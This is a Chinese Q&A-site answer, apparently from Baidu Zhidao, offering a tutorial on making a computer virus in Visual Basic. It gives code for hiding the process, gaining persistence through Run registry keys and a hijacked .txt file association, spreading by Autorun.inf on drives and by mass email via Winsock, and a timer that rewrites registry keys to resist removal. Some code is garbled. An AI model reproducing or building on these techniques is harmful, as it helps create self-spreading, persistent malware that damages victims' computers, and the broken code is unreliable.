电脑病毒制作方法

 我来答
没文化的大脑袋CU
2022-11-11 · TA获得超过2671个赞
知道小有建树答主
回答量:556
采纳率:100%
帮助的人:76.9万
展开全部

  朋友们想做一些小的电脑病毒吗,对于接触计算机的朋友们来说,病毒已经不在是一个陌生的东西。 下面由我给你对电脑病毒做出详细的制作方法!希望对你有帮助!

  方法如下:

  病毒一般都具有传播、隐 藏、破坏等能力。所以自从第一个病毒问世以来,它便被人们视为一种神秘的东西。但是,我们要知道。病毒也是程式,也是由人写出来的。所以,病毒并不是什么 高不可攀的东西。现在,让我们了解一下VB制作病毒的原理。

  首先,病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么执行绪插入技术。我们要实行自我隐藏,就要用到API函式。其程式码如下:

  Public Declare Function GetCurrentProcessid Lib "kernel32" As Long

  Public Declare Function RegisterServiceProcess Lib "kernel32" ByVal dwProcessID As Long, ByVal dwType As Long

  Public Const RSP_SIMPLE_SERVICE = 1

  Public Const RSP_UNREGISTER_SERVICE = 0

  Public Sub MakeMeService

  Dim pid As Long

  Dim resery As Long

  pid = GetCurrentProcessid

  regserv = RegisterServiceProcesspid, RSP_SIMPLE_SERVICE

  End Sub

  这样就实现了自我隐藏。还有别的什么App.Title = ""和App.TaskVisible = False都可以用于VB病毒的隐藏。

  病毒光会隐藏还不行,还要有常驻记忆体的能力。说通俗点,计算机关闭病毒也就跟着死去,而计算机重启,病毒也要跟这复活。所以,我们接下来的任务就是:实现病毒的开机自启。

  了解病毒的朋友会知道,病毒一般是利用在登录档中插入相应键值来实现开机自启的。所以,我们就要利用程式设计来实现著一功能。读写登录档要用到API函式,程式码:

  Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long

  Private Declare Function RegCloseKey Lib "advapi32.dll" ByVal hKey As Long As Long

  Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long As Long

  上述是API宣告。病毒的开机自启就是在RUN下建立一个启动项,程式码:

  Dim hKey As Long

  Dim cc

  Let cc = Len"病毒的绝对路径"

  RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Runservices", hKey

  RegSetValueEx hKey, "键名", 0, REG_SZ, ByVal "病毒的绝对路径", cc

  RegCloseKey hKey

  以上程式码执行后会在登录档中加入一个病毒的启动项。

  光利用开机自启来长驻记忆体也太容易被杀了。所以,我们还要想尽一切办法来让病毒启动。这里介绍的2种办法。

  第一种。修改文字档案的关联。其程式码如下:

  API宣告:

  Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long

  Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long As Long

  Const HKEY_CLASSES_ROOT = &H80000000

  Const REG_SZ = 1

  实现程式码:

  Dim sKeyName As String '储存键名

  Dim sKeyValue As String '储存键值

  Dim MyReturn As Long '储存返回值资讯

  Dim keyhandle As Long

  sKeyName = "Test"

  sKeyValue = "Test Application"

  MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&

  MyReturn& = RegSetValue&keyhandle&, "", REG_SZ, sKeyValue, 0&

  MsgBox MyReturn&

  sKeyName = ".txt" '要建立关联的档案字尾名

  sKeyValue = "Test"

  MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&

  MyReturn& = RegSetValue&keyhandle&, "", REG_SZ, sKeyValue, 0&

  sKeyName = "Test"

  sKeyValue = "D:\\病毒.exe %1" '自己程式的位置和名称

  MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&

  MyReturn& = RegSetValue&keyhandle&, "shell\open\mand", REG_SZ, sKeyValue, MAX_PATH

  End Sub

  以上是利用修改TXT档案关联来实现病毒启动的。

  第二种,利用Autorun.inf

  光碟就是利用这个来自动播放的,所以我就不废话了。

  实现程式码:

  If Dir"F:\" <> "" Then Let a = App.Path + "\" + App.EXEName + ".exe"

  FileCopy a, "C:\病毒.exe"

  Open "Autorun.inf" For Output As #1

  Print #1, "[autorun]"

  Print #1, "OPEN=病毒.exe"

  Close #1

  这样就实现了双击C盘启动病毒的作用。

  下面说一下病毒的传播,病毒的传播可以说是八仙过海。主要的传播方式就是电子邮件传播,远端溢位等。

  远端溢位这里不做详解。第一是我不太熟练,只会用,不会说。第二是要讲清楚很麻烦。所以,我讲一下电子邮件传播。

  首先,建立一个WINSOCKE。然后利用程式设计来实现。这里只说思路。

  ConnectToServer Server, Winsock1 ‘这是向伺服器建立连线

  SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach ‘传送邮件

  FromAddress 发件人地址

  ToAddress 收件人地址

  Subject 邮件标题

  Body 邮件内容

  Attach 附件地址

  利用这样的原理来群发,可以达到传播自己的目的。

  还有一种就是U盘/A盘传播,原理上面已经说过。利用Autorun.inf档案,这里就不废话了。

  说了这么多,还剩最后一点,那就是破坏性。这个就不详细阐述。什么自动关机,无限增殖。大家自己发挥想象,这不是很难的事。

  最后总结,一个什么样的病毒,它必须生活在特定的作业系统下。所以,病毒做出来后,不一定能在什么作业系统下都能用。还有一点,病毒必须能自己保护自己。 这里推荐使用TIMER。利用这个部件来不断的写登录档。这样,很难删掉病毒的启动键值。还要保护自身的增殖档案。比如:

  Let a = App.Path + "\" + App.EXEName + ".exe"

  If Dir"C:\Program Files\病毒.exe" <> "" Then

  Else: FileCopy a, "C:\Program Files\病毒.exe"

  最后,还有最重要的一点。那就是容错语句。尽量多加。以防万一。 此文电脑病毒制作的人还:

推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式